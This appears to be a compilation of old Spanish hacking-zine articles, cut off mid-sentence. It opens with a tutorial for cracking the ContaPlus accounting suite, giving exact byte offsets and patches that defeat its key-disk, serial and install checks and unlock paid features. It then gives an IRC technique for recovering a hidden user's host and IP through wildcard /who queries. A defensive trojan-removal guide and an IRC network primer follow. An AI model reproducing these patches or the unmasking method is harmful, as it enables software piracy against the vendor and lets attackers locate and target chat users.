VUELTA A LA PROTECCIÓN Ya podemos mangonear tranquilos nuestro C.a. Ahora hay que localizar donde se llama al disco llave y neutralizarlo. Los accesos al disco se pueden hacer de forma cutre y a alto nivel con "deviceiocontrol" o bien usando las interrupciones a pelo. Como podeis sospechar, se han usado los deviceiocontrol. Si en el softIce ponemos un bpx deviceiocontrol aparecemos en una dll mu fea GLfxxxx.tmp. Esto suena al mismo truquillo de descompresión en tipo de ejecución. Si pusamos unas 20 veces f12 reaparecemos en nuestra querida c.a :10015244 FF24858E540110 :1001524B FF550C glfxxxx.tmp :1001524E E93C010000 :10015253 FF75B4 :10015256 FF550C

jmp dword ptr [4*eax+1001548E] call [ebp+0C] ;Llamada a la feisima jmp 1001538F push [ebp-4C] call [ebp+0C] ;2º Llamada

Os ahorro el trabajo y os comento como funciona el esquema de protección a este nivel. Se crean 2 dll en tiempo de ejecución en el mismo estilo que ya hemos comentado. Estas dll se encargan de todo el acceso al disco llave. Los parámetros a las dll se pasan (agarraos) en cadenas ascii. Basta con poner un bpx 1001524B y echar un vistazo a esi y edi. Obtendremos parámetros del tipo 3HayDisco 3Esdisco 3Instalaciones

ESTÚPIDO VELO

Corramos un estúpido velo en esta parte de la protección, porque es la más patética. Baste decir dos cosas, para anular completamente al disco hay que parchear :1001524B. En :1001524B se comprueba que existe disco, que el disco tiene el formato adecuado, se leen el número de licencias . Si existe algún error devuelven en eax=0, sino devuelven eax=1 Así pues cambiamos :10015244 FF24858E540110

jmp dword ptr

:1001524B :1001524E :10015253 :10015256

FF550C E93C010000 FF75B4 FF550C

call [ebp+0C] jmp 1001538F push [ebp-4C] call [ebp+0C] ;2º

:1001524B :1001524D :1001524E :10015253 :10015255 :10015257 :10015257

33 C0 40 E93C010000 33 C0 33 C0 40 90

xor inc jmp xor xor inc nop

[4*eax+1001548E]

Llamada Por eax,eax eax 1001538F eax,eax eax,eax eax

Buscamos FF 24 85 8E 54 01 10 en c.a y lo encontramos en 0x1464B donde ponemos 33 C0 40 E9 3C 01 00 00 33 C0 33 C0 40 90 Con esto quedan fulminados los accesos a disco. Si seguimos adelante nos pide un número de serie que se puede obviar si parcheamos en :1001525E FF75B8 push [ebp-48] :10015261 FF75B4 push [ebp-4C] :10015264 FF550C call [ebp+0C]; eax=0 si todo va bien. :10015267 E923010000 jmp 1001538F por :1001525E :10015260 :10015262 :10015264 :10015266 :10015267

33C0 33C0 33C0 33C0 90 E923010000

xor xor xor xor nop jmp

eax, eax, eax, eax,

eax eax eax eax

1001538F

Si no parcheamos los push el programa casca. Resumiendo, buscamos en c.a ff 75 b8 ff 75 b4 ff 55 0C E9 23 01 00 y lo encontramos en 0x1465E, cambiándolo por 33 c0 33 c0 33 c0 c0 90 Cuando pida el serial podemos introducir cualquier churro p.e: 111-1-696969-11

00 33 numérico

En el nombre de la empresa y nombre del de dos caracteres.

usuario introducimos más

Curiosamente todas estas rutinas GLC de acceso a disco y check del serial, aparecen como una dll normal spptr.dll en el directorio de instalación. Para qué, mu sencillo, para deinstalar y eliminar una licencia del disco llave. En teoría hay un número límite de instalaciones, cada vez que se instala el programa se elimina una licencia del disco llave y cada vez que se desistala se añade una. ¿ÉXITO? Si seguimos todos los pasos, la instalación finaliza correctamente . Ávidos lanzamos el programa y crash."Aplicación instalada incorrectamente". ¿En qué nos hemos equivocado?. Pensad un poco.

SOLUCIONES VIABLES Seguro que habéis llegado a la misma conclusión que yo. Las rutinas de manejo de disco que hemos inutilizado, dejaban algun flag en algún sitio que indicara que el programa estaba bien instalado. Así pues hay quedan dos opciones: 1 Saltar la comprobación en el programa principal. 2 Activar ese flag. HORROR Y ESPANTO Seleccionando la opción 1 nos encontramos en un avispero. El progrma principal está hecho en CLIPPER. Qué horror, aún se siguen usando esas herramientas del demonio. Si queréis pasarlo realmente mál intendad, trazar un programa en clipper. El control se realiza por bucles de salto del tipo call[ax+4] que conducen a otros bucles de salto call [ebx+6], hasta el inifito. Todo está dirigido por tabla y en código de 16bits. Osea nada de usar la potencia de los registros de 32 bits. Una montaña de mierda, como podreis observar. Nada recomendabe ni saludable. Optamos por la opción 2. Para eso llamamos a nuestro amigo y le pedimos que nos comprima el CONTAPLUS (bien instalado) en disquetes para compararlo con el que tenemos. Busque las diferencias. EL MISTERIO INSONDABLE

Si descomprimimos el CONTAPLUS bien instalado en nuestro disco duro nos llevamos una desagradable sorpresa. "Aplicación mal instalada". Joder, que coño pasa, pero si lo hemos copiado de uno que estaba bien instalado. A ver, a lo mejor accede al registro del sistema buscando algo raro. Lanzamos el regmon y vemos que la aplicación accede pero busca cosas nada importantes. Podréis pensar, bueno quizás busque un fichero extraño que no hayamos copiado. Lanzamos en filemon y sólo accede al win.ini fuera de su directorio. Miramos el win.ini y no vemos nada sospechoso. ¿To esto está mu bien, pero que coño mira para saber que no está bien instalado? Este es el misterio insondable que me ha tenido la noche en velo y que me ha hecho disfrutar como un enano cabezón. Pero hay más, si copiamos el directorio de instalación en el disco duro donde se instaló originalmnte, el programa deja de funcionar. Quedan eliminados los flags en el registro del sistema y el acceso a ficheros raros, como ya suponíamos. Y el colmo, si copiamos y pegamos el ejecutable en el directorio de instalación del disco duro original de instalación el jodio programa funciona con el ejecutable original, pero no con la copia. ¿es mágia? ¿hay una explicación razonable o estamos ante un expediente X ? Pensad el problema antes de mirad la solución, es apasionante. Centraos en lo extraño que es que funcione con el ejecutable original y no con la copia, cuando son los mismos ficheros. EL EXPEDIENTE X DESVIRGADO Lo más curioso de todo es que el programa funciona con el ejecutable original, pero no con la copia. En principio, esto no tiene sentido, a menos, claro está que exista una diferencia entre el original y el copiado. Exactamente, la fecha de creación. Para comprobarlo retrasé el reloj del windoze hasta la fecha hora y minuto en el que se había construido el ejecutable original. En ese preciso momento realizé una copia del origial y BINGO, la copia del ejecutable funcionaba. Ya hemos encontrado el flag, pero hace falta saber donde se guarda. En el registro del sistema no, porque no realiza ninguna operación extraña. Puede guardarlo en algún campo de la base de datos , osea en los fichero dbf. Para eliminar esta opción copie todos los ficheros (excepto el ejecutable) de nuestro CUENTAPLUS al directorio original, y seguia

funcionando. En conclusión, el flag está dentro del propio ejecutable. Para comprobarlo, comparé el ejecutable original y el nuestro y he aquí las diferencias : FileSize: 2FA780h DD 2F2726h DB C7h DB 7Fh DD 2F2727h DB A2h DB C1h DD 2F272Dh DB 9Dh DB 3Dh DD 2F272Eh DB 54h DB 79h Cambian 4 posiciones de memoria de un ejecutable a otro. Así pues una de las rutinas de acceso a disco que hemos desabilitado introduce en el ejecutable final la fecha de creación. Para más inri, esta fecha está encriptada y la llave de la desencriptación es BBYYMMAARRCCOOSS. Estos programadores nuncan aprenderán a ser humildes, los muy jodidos. Si cazamos las dll de disco que hemos anulado (copiar y pegar como ya vimos) y desensamblamos, observamos que se utiliza una bonita función: DosDateTimeToFileTime function converts MS-DOS date and time values to a 64-bit file time. BOOL DosDateTimeToFileTime( WORD wFatDate, // 16-bit MS-DOS date WORD wFatTime, // 16-bit MS-DOS time LPFILETIME lpFileTime // address of buffer for 64-bit file time ); Ponemos un bpx DosDateTimeToFileTime y lanzamos el contaplus. EUREKA, aparecemos en spptr.dll, un par de f12 más y volvemos a al ejecutable original. No os aburriré indicando como localizar la rutina de comprobación del flag (ya somos mayorcitos), doy directamente el parche: Cambiamos :10001545 8D542428 :10001549 51 ;BBYYMMAARRCCOOSS :1000154A 52 Por

lea edx, dword ptr [esp+28] push ecx push edx

:10001545 8D542428 :10001549 51 ;BBYYMMAARRCCOOSS :1000154A 51 ;BBYYMMAARRCCOOSS

lea edx, dword ptr [esp+28] push ecx push ecx

Buscamos en spptr.dll 8d 54 24 28 51 52 lo encontramos en 0x154A y lo cambiamos por 51 Listo y a disfrutar. Ya es hora de volver con la gorda y el peluo para tomar una cerveza.

JUGUETEANDO *Existe una forma alternativa de corregir el problema de aplicación mal instalada. Si cogemos un dbf cualquiera del directorio /emp y lo copiamos con el nombre menumode.dbf , entramos en la aplicación pero en versión demostrativa, sin copias de seguridad y sin algunas opciones más. * Para convertir las copias de seguridad a la versión profesional, cambiad el nombre del fichero /emp/versione.dbf por /emp/versionp.dbf y /emp/menuwine.dbf /emp/menuwin.dbf . Esto provoca un pequeño error al mirar el "Acerca de" en el CONTAPLUS, pero no tiene mayor importancia. Sospecho que con una poyada de estas más podemos pasar del CONTAPLUS élite al profesional, pero no he dado con la tecla. * Podemos copiar impunemente el directorio del CUENTAPLUS de un disco duro a otro sin necesidad de reinstalar. * Este mismo proceso es aplicable al NOMINAPLUS y FACTURAPLUS y el resto del paquete y muy probablemente al resto de productos de la empresa SP. El TVPPLUS está cascado (por lo menos en el cd) por lo que no se ha podido probar y el PersonalPlus no necesita retoques. PAra el resto de componenetes del paquete, simplemente se parchea el instalar.exe, y se copia el c.a del CONTAPLUS y se comienza la instalación. Una vez instalado, se copia el spptr.dll del contaplus en el directorio apropiado para cada producto (NOMINAPLUS: /exe) (FACTURAPLUS: /exe) * Para pasar una version demostrativa (o educativa) a versión élite, basta con aplicar el parche al spprt.dll y borrar el fichro /emp/menumode.dbf

PD PARA EL PROGRAMADOR Querido Marco: Has construido una buena protección. He estado tentado de guardarme el crack por respeto.

Pero lo que me decidió fue la decepción de ver como usabas Clipper y tu forma relajada de acceder al disco mediante deviceiocontrol. La próxima vez esmérate un poco más, aunque he de reconocer que he disfrutado con tu protección en grande. Notas para los lectores. 1.- Los mensajes del tipo "Hazme el crack para ....", "Dime como se crackea....", "Dime donde puedo encontrar..." son automáticamente ignorados. El objetivo de estos artículos es enseñar a crackear no enseñar a ser unos llorones ineptos que sólo saben mendigar. 2.- Sólo responderé a preguntas teóricas sobre cracks, indicando algunas pistas que faciliten la labor. 3.- Narices, escribid artículos sobre los programas que crackeeis. De nada sirve lo que aprendéis si no lo repartís, se os pudre en el cabeza, palabra. 4.- Lamento no haber contestado a ciertos mails interesantes. Desde aquí mis excusas. 5.- Si os ha servido para algo mis artículos, no seáis vagos y mandad un mail indicándomelo. Estado+Porcino Esperamos vuestras opiniones, sugerencias y ensayos en [email protected] Recordad bebed de la fuente, buscad a +ORC en la red.

Como sacar IPs en el

IRCX By Ark Este texto explica detalladamente como sacar el Host de un usuario en el IRCX sin ser Operador de un canal. Requiere de un poco de tiempo y esfuerzo. Vamos al grano. Supongamos que queremos sacar el Host de alguien de nick "Mitnick", y su ISP le da una IP de 10 caracteres, por ejemplo: host625901.isp.com lo que haremos es esto. en la ventana de Status del mIRC o de cualquier programa, ponemos el comando: /who mitnick*!*@host??????.isp.com En este comando, podemos apreciar que hacemos un WHO a alguien de nick "Mitnick", y con un Host que empieze con host, ya que el isp donde se encuentra, todos los Ip empiezan con Host. (Ojo, quisas no todos los Isp empiezan con host, ustedes ajustaran eso depende del Host de la victima) y que siga con caracteres que no conocemos, (ya que estan con las xxxxxx).Reemplazamos las x por Los "?", que sirven para reemplazar un caracter, o sea, un numero de su IP. De esa forma cuando ejecutemos ese comando, nos aparecera el nick de Mitnick, pero aun con el host: xxxxxxxxxx.isp.com. Ahora, para descubrir su Ip entera, debemos probar distintos numeros que posiblemente formen su Host, algo asi: /who mitnick*!*@host1??????.isp.com mitnick* End of /WHO list Si aparece esto, quiere decir que el "1", no es el primer numero de su Host. Entonces probamos otro numero. /who mitnick*!*@host0?????.isp.com #hacking mitnick H+ [email protected] :0 ff mitnick* End of /WHO list En cambio, cuando cambiamos el "1" por el "0", si aparece esto, quiere decir que el "0" es el primero numero de su Host. Luego seguimos haciendo lo mismo con todos los "?". /who mitnick*!*@host01????.isp.com #hacking mitnick H+ [email protected] :0 ff mitnick* End of /WHO list /who mitnick*!*@host013???.isp.com

#hacking mitnick H+ [email protected] :0 ff mitnick* End of /WHO list /who mitnick*!*@host0138??.isp.com #hacking mitnick H+ [email protected] :0 ff mitnick* End of /WHO list /who mitnick*!*@host01380?.isp.com #hacking mitnick H+ [email protected] :0 ff mitnick* End of /WHO list /who mitnick*!*@host013801.isp.com #hacking mitnick H+ [email protected] :0 ff mitnick* End of /WHO list

Aqui vemos que fuimos probando numeros al azar y al "embocar" todos, sacamos su Host completo. Luego haciendo /dns host013801.isp.com *** Resolved host013801.isp.com to 200.42.28.71 Sacamos su IP. Lo que hicimos fue hacer un WHO a su nick y cambiar los signos de pregunta uno por uno (que reemplazan un caracter, en este caso, el numero de su IP) con diferentes numeros posibles que formen su IP. De esa forma vamos a averiguar su Host sin necesidad de ser operador.

Contact Ark At: [email protected] Ark HomePage: Http://members.xoom.com/ark4

En esta página vamos a hablar de Mataprocesos Este pequeño programa, (hecho cuando comenzó el furor del Back Orifice) se llama "MataProcesos" y es una pequeña utilidad que cumple la función que debería estar incluída en la ventana de CTRL-ALT-DEL. Curiosamente esta utilidad tan "pequeña" (ocupa 40 Kb y cumple una tarea muy sencilla) nos será de enorme ayuda con el tema de la seguridad. Cuando uno ejecuta el MataProcesos un icono (una señal de STOP) se coloca en la barra de tareas. si queremos cerrar un programa rapidamente (alguno que se colgó, o de esos que no aparecen en el CTR-ALT-DEL, como por ejemplo UN BACKDOOR como el patch del NetBus, si es que algun "vivo" nos lo metió) haremos doble click en el STOP y se abrirá una ventana con un listado de todos los procesos reales que se están ejecutando en el momento, listados por nombre de archivo ejecutable. Para cerrar (matar) un proceso, basta con hacer doble click en el item de la lista que lo representa, y responder que SI a la pregunta que MataProcesos nos hace cuando pide la confirmación. Notemos que dije que con MataProcesos podemos matar a "todos los procesos", lo cual incluye también a los procesos vitales del Windows, por lo que la primera vez, por falta de experiencia, podriamos "matar" al Windows mismo, obligándonos a reiniciar el ordenador. Este programa es útil, por ejemplo, si estamos siendo víctima de un troyano, es decir, alguien nos está "molestando", mostrando mensajes extraños en nuestra pantalla sin nuestra autorización, mostrandonos imágenes y abriendo y cerrando la bandeja de nuestro CD-ROM...

Usando el MataProcesos para sacarnos de un apuro En ese caso, estamos frente a un auténtico "Lamer" (que vendría a ser algo así como un tonto que quiere ser Hacker y utiliza programas como el NetBus, Back Orifice, Sub Seven, Donald Dick o NetSphere para asustar o abusarse de los que no saben). ¿Cómo llegó hasta aquí este individuo? El, u otro similar a él, nos pasó un archivo EXE o SCR haciendonos creer que se trataba de algo muy interesante, y cuando (incautos) lo ejecutamos... probablemente no pasó nada, o algo no muy interesante que digamos... Pero en realidad lo que ocurrió fué que acabamos de instalar un "control remoto" para que este "Lamer" pueda controlar nuestro sistema a su antojo. Fuimos vilmente engañados. Ejecutamos, sin saberlo, un troyano. Tenemos que apurarnos a quitarnoslo de encima, porque por el momento también tiene acceso a nuestros archivos, para robarlos o borrarlos. El modo de usar el MataProcesos en este caso sería simplemente seleccionar el proceso adecuado (el del troyano) y terminarlo.

Cómo reconocemos al troyano? Bueno, suponiendo que la lista que MataProcesos nos muestra es la siguiente: C:\WINDOWS\SYSTEM\KERNEL32.DLL C:\WINDOWS\SYSTEM\MSGSVR32.EXE C:\WINDOWS\SYSTEM\mmtask.tsk C:\WINDOWS\EXPLORER.EXE C:\WINDOWS\TASKMON.EXE C:\WINDOWS\SYSTEM\SYSTRAY.EXE C:\WINDOWS\PATCH.EXE C:\WINDOWS\WINDOW.EXE C:\WINDOWS\SYSTEM\ .EXE C:\WINDOWS\SYSTEM\NSSX.EXE C:\WINDOWS\RNAAPP.EXE C:\WINDOWS\TAPISVR.EXE C:\ARCHIVOS DE PROGRAMA\ICQ\ICQ.EXE C:\ARCHIVOS DE PROGRAMA\OUTLOOK EXPRESS\MSIMN.EXE C:\ARCHIVOS DE PROGRAMA\MATAPROCESOS\MATAPROCESOS.EXE En este caso nos encontramos con un ordenador LLENO DE TROYANOS, es decir, su seguridad ha sido totalmente violada. ¿Cómo nos damos cuenta de eso? Hace falta estar acostumbrado al MataProcesos, en otras palabras, saber el proceso que cada archivo está ejecutando. Si tenemos en cuenta que es muy dificil que un troyano se instale en otro lado que no sea los directorios WINDOWS o SYSTEM, ya descartamos tres posibilidades (las tres últimas, pero es más seguro descartarlas cuando conocemos la función de cada una de ellas), veamos: C:\ARCHIVOS DE PROGRAMA\ICQ\ICQ.EXE es ni más ni menos que el ICQ, si lo matamos, se nos cierra el ICQ. C:\ARCHIVOS DE PROGRAMA\OUTLOOK EXPRESS\MSIMN.EXE se trata, como se podrán imaginar, del Outlook Express. C:\ARCHIVOS DE PROGRAMA\MATAPROCESOS\MATAPROCESOS.EXE este es tanto o más obvio que los anteriores, nosotros mismos acabamos de ejecutarlo. También hay que conocer otros procesos comunes de Windows, ¿y cómo lo hacemos? si se trata de algunos de los que ya nombré, yo mismo voy a presentarselos, pero si son otros que no se mustran aquí, probablemente con el método de "prueba y error". Veamos: C:\WINDOWS\SYSTEM\KERNEL32.DLL Este es el "corazón" del Windows, si lo cerramos, tendremos que reiniciar. C:\WINDOWS\SYSTEM\MSGSVR32.EXE

Este es una utilidad interna, si la cerramos el sistema probablemente pierda estabilidad. C:\WINDOWS\SYSTEM\mmtask.tsk Cerrar este es imposible. Siempre vuelve a aparecer. Tiene que ver con las tareas multimedia que el Windows realiza. C:\WINDOWS\EXPLORER.EXE Se trata del explorador. Gestiona tanto al Internet Explorer como al Windows Explorer. También gestiona la barra de tareas. Si lo cerramos se nos cierran estas tres cosas. (Generalmente se vuelve a ejecutar automáticamente) C:\WINDOWS\TASKMON.EXE Es el monitor de tareas de Windows. Si lo cerramos aparentemente no ocurre nada, pero no recomiendo cerrar procesos sin saber exactamente qué función cumplen, a menos que no nos moleste vernos obligados a reiniciar... C:\WINDOWS\SYSTEM\SYSTRAY.EXE Es el "parlantito" (la bocinita) que aparece en la barra de tareas, el programa que nos dá el control del volumen de sonidos de Windows. Si lo cerramos, el parlante (la bocina) desaparece. C:\WINDOWS\RNAAPP.EXE C:\WINDOWS\TAPISVR.EXE Estos dos son los que se ejecutaron cuando nos conectamos a Internet. Si los cerramos la conexión se corta y no podremos volver a conectarnos hasta reiniciar la computadora. Pues bien, ¿qué nos queda? C:\WINDOWS\PATCH.EXE C:\WINDOWS\WINDOW.EXE C:\WINDOWS\SYSTEM\ .EXE C:\WINDOWS\SYSTEM\NSSX.EXE ¡Ja! se trata ni más ni menos que de ¡cuatro troyanos! Toda una exageración... Nuestra seguridad (la de nuestros archivos) se ve totalmente violada por culpa de cada uno de estos procesos... ¿Cómo podemos estar seguros de que se trata de troyanos? Eso lo explico en el apartado que viene, pero en el caso de estos cuatro, basta con decir que ya son tán famosos que no hace falta hacer las comprobaciones... C:\WINDOWS\PATCH.EXE es el maldito patch del NETBUS C:\WINDOWS\SYSTEM\ .EXE es el servidor del Back Orifice C:\WINDOWS\SYSTEM\NSSX.EXE es el servidor del NetSphere

C:\WINDOWS\WINDOW.EXE es un troyano, aunque no sé exactamente cuál... (probablemente SubSeven o una versión levemente modificada del NetBus) Matando a LOS CUATRO podemos continuar navegando tranquilos, ya que el agresor perdió totalmente su poder. PERO CUIDADO, nuestro sistema seguramente fué modificado para que estos programas se ejecuten cada vez que arrancamos, y como el MataProceso no los borra del disco, sino simplemente los erradica de la memoria, no estamos a salvo de que la próxima vez que reiniciemos ¡los troyanos estén nuevamente allí! Para librarnos de ellos para siempre leamos los siguientes puntos... Aclaraciones: Para que el MataProcesos funcione hace falta tener instalados los 'runtimes' de Visual Basic 5. Si no los tenés los podés conseguir en: ftp://ftp.simtel.net/pub/simtelnet/win95/dll/vb500a.zip o en el mirror: ftp://ftp.cdrom.com/pub/simtelnet/win95/dll/vb500a.zip 2) Mataprocesos y Netstat, suficiente para erradicar cualquier troyano Existe una aplicación llamada Netstat, y está ubicada en C:\WINDOWS. Con ella y la ayuda del MataProcesos podemos limpiar nuestra PC de troyanos. Para hacerlo correctamente hay que seguir los siguientes pasos: a) Nos desconectamos de Internet b) Cerramos todas las aplicaciones que utilicen conexiones a Internet, por ejemplo: ICQ - Internet Explorer o Netscape - GetRight - Go!Zilla - Telnet - mIRC - MSChat - Outlook - Outlook Express etc... c) Ejecutamos el MataProcesos d) Ejecutamos una ventana de DOS e) En la línea de comandos del DOS tecleamos "netstat -a" y tomamos nota de todos los "puertos" que aparecen como "abiertos", estos aparecen en la columna "Dirección local" con el formato: <nombre_de_nuestra_pc>: Por ejemplo, podríamos tener el siguiente listado: Proto

Dirección local

Dirección remota

Estado

TCP

Donatien:6711

0.0.0.0:0

LISTENING

TCP

Donatien:6776

0.0.0.0:0

LISTENING

TCP

Donatien:30100

0.0.0.0:0

LISTENING

TCP

Donatien:30101

0.0.0.0:0

LISTENING

TCP

Donatien:30102

0.0.0.0:0

LISTENING

TCP

Donatien:1243

0.0.0.0:0

LISTENING

TCP

Donatien:1035

0.0.0.0:0

LISTENING

UDP

Donatien:1035

*:*

Lo cual significa que tenemos procesos en nuestro ordenador que están esperando conección en los puertos: 6711, 6776, 30100, 30101, 30102, 1234, y 1035. f) Comenzamos a matar, uno por uno, los procesos que no sabemos que función cumplen. Si matamos alguno que no debíamos, y el ordenador se bloquea, ya sabemos para la próxima vez que ese proceso no es un troyano, y que no hay que matarlo Ejemplo: decido matar al proceso llamado: C:\WINDOWS\SYSTEM\NSSX.EXE que es muy sospechoso... Acto seguido, volvemos a la ventana de DOS y pedimos otro listado de "Netstat -a", que nos devuelve lo siguiente: Proto

Dirección local

Dirección remota

Estado

TCP

Donatien:6711

0.0.0.0:0

LISTENING

TCP

Donatien:6776

0.0.0.0:0

LISTENING

TCP

Donatien:1243

0.0.0.0:0

LISTENING

TCP

Donatien:1035

0.0.0.0:0

LISTENING

UDP

Donatien:1035

*:*

Por suspuesto!!! Se han cerrado tres puertos!! (30100, 30101 y 30102, que ya no aparecen en el listado) Al estar seguros que NSSX.EXE no pertenece a ningún programa que nosotros hayamos instalado, y de que el sistema continúa ejecutándose sin ningún problema (o sea que no era parte del Windows), podemos cambiarle el nombre al archivo para que no se vuelva a ejecutar la próxima vez que reiniciemos. Para eso usamos el comando "RENAME C:\WINDOWS\SYSTEM\NSSX.EXE C:\WINDOWS\SYSTEM\NSSX.EX_". Nótese que tán solo le cambiamos la extensión, para, en caso de habernos equivocado, recuperar el archivo fácilmente. Podemos renombrar al archivo debido a que ya lo matamos. Si el proceso estuviera ejecutándose no podríamos modificar ni borrar el NSSX.EXE Otro modo de cambiarle el nombre es ir con el Explorador hasta el directorio C:\WINDOWS\SYSTEM, buscar el archivo NSSX.EXE y situados sobre él presionar F2, escribir el nuevo nombre y . Ahora, aunque no es del todo indispensable, y no es recomendable para los novatos absolutos, podríamos abrir el registro de windows con el REGEDIT y eliminar la entrada que antes ejecutaba el troyano cada vez que encendíamos la máquina. La entrada está dentro de la rama: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run y es la siguiente: "NSSX" y su valor es "C:\WINDOWS\system\nssx.exe" Para borrarla basta con marcarla con el mouse, pulsar DEL, y confirmar. Es importante no andar borrando cualquier cosa del registro. Para aprender más sobre qué es el registro y qué programas ejecuta Windows al arrancar, lean la emisión Nro. 16 de esta misma

revista en http://dzone.findhere.com . Allí también aprenderán que la rama del registro "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" no es el unico lugar en el cual un troyano puede asegurarse el ser ejecutado en cada sesión. El caso de este ejemplo se trataba del famoso NetSphere, un troyano bastante nuevo, que se puede descargar de http://angelfire.com/ar/NetSphere/index2.html . Pueden usarlo para practicar, pero por favor, no sean "Lamers", no lo usen con otras personas, porque dejarían sus máquinas a merced de cualquiera, y si lo usan con ustedes mismos, tengan en cuenta de que no deben conectarse a Internet mientras tengan el troyano instalado. (justamente, para evitar eso es que explico todo esto). Sigamos con otro ejemplo, sabemos que la lista del "Netstat -a" es ahora más corta:

Proto

Dirección local

Dirección remota

Estado

TCP

Donatien:6711

0.0.0.0:0

LISTENING

TCP

Donatien:6776

0.0.0.0:0

LISTENING

TCP

Donatien:1243

0.0.0.0:0

LISTENING

TCP

Donatien:1035

0.0.0.0:0

LISTENING

UDP

Donatien:1035

*:*

Pues bien, ahora procedamos a cerrar el proceso: C:\WINDOWS\WINDOW.EXE El sistema sigue perfectamente estable, y volvemos a pedir el "Netstat -a" y... Proto

Dirección local

Dirección remota

Estado

TCP

Donatien:1035

0.0.0.0:0

LISTENING

UDP

Donatien:1035

*:*

Ohhhhh!! Se han cerrado otros tres puertos! (aclaro que un troyano no necesariamente utiliza 3 puertos, puede utilizar más, o menos). Próximo paso: renombramos el archivo para que no vuelva a ejecutarse nunca más, vamos a la ventana de DOS, y escribimos: "RENAME C:\WINDOWS\WINDOW.EXE C:\WINDOWS\WINDOW.EX_" Como ya dije, también podemos eliminar la entrada del registro que lo ejecuta, pero como, habiendo renombrado el archivo, ya no es necesario, lo dejo librado al lector. Como en mi caso, por experiencia, sé que el puerto 1035 no se trata de un troyano, no voy a continuar matando procesos, pero si tuviera más puertos abiertos, (en el ejemplo que dí al principio había cuatro troyanos y no dos) continuaría haciendolo hasta encontrarlos todos. Quiero aclarar que no es muy comun que un ordenador esté lleno de troyanos como en estos ejemplos, pero si notan que alguien está molestándolos de un modo extraño cuando entran a Internet, intenten con esta "limpieza". Otra aclaración: Si matan procesos que no son troyanos NO HAY PROBLEMA, lo peor que puede ocurrir es que tengan que reiniciar la máquina. Sólo asegurense de no tener archivos sin grabar

(como un documento de Word) para no perderlo, al momento de estar haciendo estas comprobaciones. También cabe aclarar que, aunque yo no conozco ninguno, pueden existir troyanos más "inteligentes", que no tengan puertos abiertos cuando no estamos conectados, a esos hay que detectarlos por un método diferente, o bien, intentar hacerlo mientras estamos conectados a Internet (aunque en ese caso la cosa se complicaría debido a los demás programas que utilizan Internet -como el ICQ- y abren a su vez sus propios puertos, con lo cual la lista se hace más difícil de interpretar). OK Si lo Deseas bajar Mataprocesos desde Aqui .

¿Como funciona la IRC? El servidor de IRC propiamente dicho no es más que un programa corriendo en background (un daemon) en una máquina determinada (en Unix correría el "ircd"). Los usuarios se conectan a dicha máquina y acceden al servidor en forma de clientes. Una red IRC se compone de varios servidores corriendo en paralelo y enlazados entre ellos, de forma que se mantegan comunicados (puedan intercambiar mensajes entre ellos). Cuando un usuario se conecta a un servidor determinado, éste (el servidor) lo notifica a los demás servidores que forman parte de la red IRC. Igualmente, cualquier otra acción es notificada a todos los servidores, de forma que éstos actuan como una unidad. De esta forma el usuario se deja ver en todos los servidores aunque físicamente sólo esté conectado a uno. Esto permite tener muchos usuarios repartidos por diferentes servidores pero que virtualmente es como si estuvieran todos en uno sólo. La estructura de la red IRC es en forma de árbol (es decir, no puede haber bucles, o "caminos cerrados": partiendo de un nodo no se llegue por ningún camino otra vez a dicho nodo) aunque un tanto especial: cada nodo se ve a sí mismo como el nodo raiz de la red y tiene un grafo en forma de árbol que le indica el camino a seguir para alcanzar cada uno de los restantes nodos. En la "literatura" esto se conoce como "spanning tree", que podríamos traducir como "árbol de expansión". Esto quiere decir que en un momento determinado un nodo cualquiera tendrá almacenada información para alcanzar cada uno de los otros nodos de forma unívoca (tiene un único camino posible hacia cada nodo). Esa información sería el árbol que está usando el nodo en cuestión. Pero además este árbol puede ser distinto para el mismo nodo en un instante diferente, es decir, puede cambiar (digamos que el nodo va reconfigurándose). Esto tiene la ventaja de que permite adaptarse a posibles variaciones (eventuales) de la topología de la red (así, si un nodo cae, los restantes nodos lo detectarán y se reconfigurarán de forma que los caminos que antes pasaban por dicho nodo dejen de hacerlo: se tomarían caminos alternativos con lo cual la red seguiría funcionando correctamente a pesar de la caida del nodo). El paso de un nodo a otro adyacente se conoce como "hop" (salto). Así para alcanzar el nodo 5 partiendo de 4 tendremos que dar 2 saltos (hops): uno de 4 a 2 y otro de 2 a 5. Podemos visualizar el árbol que está usando el server al que estamos conectados usando el comando "/links". Este sacará un listado por pantalla de los servidores alcanzables desde el nuestro, de forma jerarquizada, es decir, respetando la estructura del árbol. Normalmente se indica entre paréntesis al lado de cada servidor el número de hops que habría que dar para alcanzar cada uno de los nodos partiendo del nuestro. Cuando se rompe uno de los eslabones (links) que unen 2 servidores el conjunto se divide en 2 subconjuntos, los cuales intentarán seguir funcionando normalmente aunque de forma aislada. Esto es, cada subconjunto permanece operativo y mantiene la comunicación entre los servers pertenecientes a dicho subconjunto. Pero por razones obvias los servidores de un subconjunto no

ven a los del otro y viceversa. Esta situación se conoce como net-split. En una sesión normal de IRC esto lo veríamos: [1:23] *** LAROSA has quit IRC (fuego.irc-hispano.org io.irc-hispano.org) Esto indica que se han spliteado los dos servidores indicados entre paréntesis y que a consecuencia de ello el usuario Case_Zer0 [ hi Case ;-) ] ha salido "de nuestra red IRC" (lo que está ocurriendo es que se encuentra en el otro subconjunto de servidores: a todos los efectos es que como si se encontrase ya en otra red IRC). Cuando el enlace caido se recupera (i.e. se reestablece la comunicación entre los servers spliteados) se habla de net-merge. Esto se vería en la sesión anterior como un "join" por parte del usuario que estaba en el servidor spliteado (tanto el quit como el join anteriores son mecanismos del propio IRC, es decir, el usuario anterior no dio ninguna orden de quit ni de join, es transparente a dicho usuario). Hay programas que detectan y avisan cuando se produce algún net-split o net-merge: son los denominados "link-lookers", y su utilidad es bastante obvia. Por ejemplo, si el enlace dibujado en rojo (enlace server 2 <-> server 5) cayera, el servidor 5 estaría aislado de la red. Los usuarios de dicho servidor dejarían de ver a todos los demás pertenecientes a servidores distintos, y al contrario. Se dice que el servidor 5 está spliteado. Es fácil reconocer a un servidor en esta situación: si entras en una red a través de un determi-nado servidor y te encuentras a muy poca gente es muy normal que se deba a que está spliteado de la red. Otra posibilidad es que el enlace azul (3 <-> 12) cayera. En este caso el servidor 12 se splitea de la red, pero también lo hacen los servidores 13 y 14 indirectamente, por conectarse a través del primero. Para una información completa del funcionamiento y estructura de una red IRC, y del protocolo subyacente ("Internet Relay Chat Protocol") os remito al RFC1459. ¿ Que es un OP ? Los canales tienen moderadores denominados operadores o "OP", los cuales 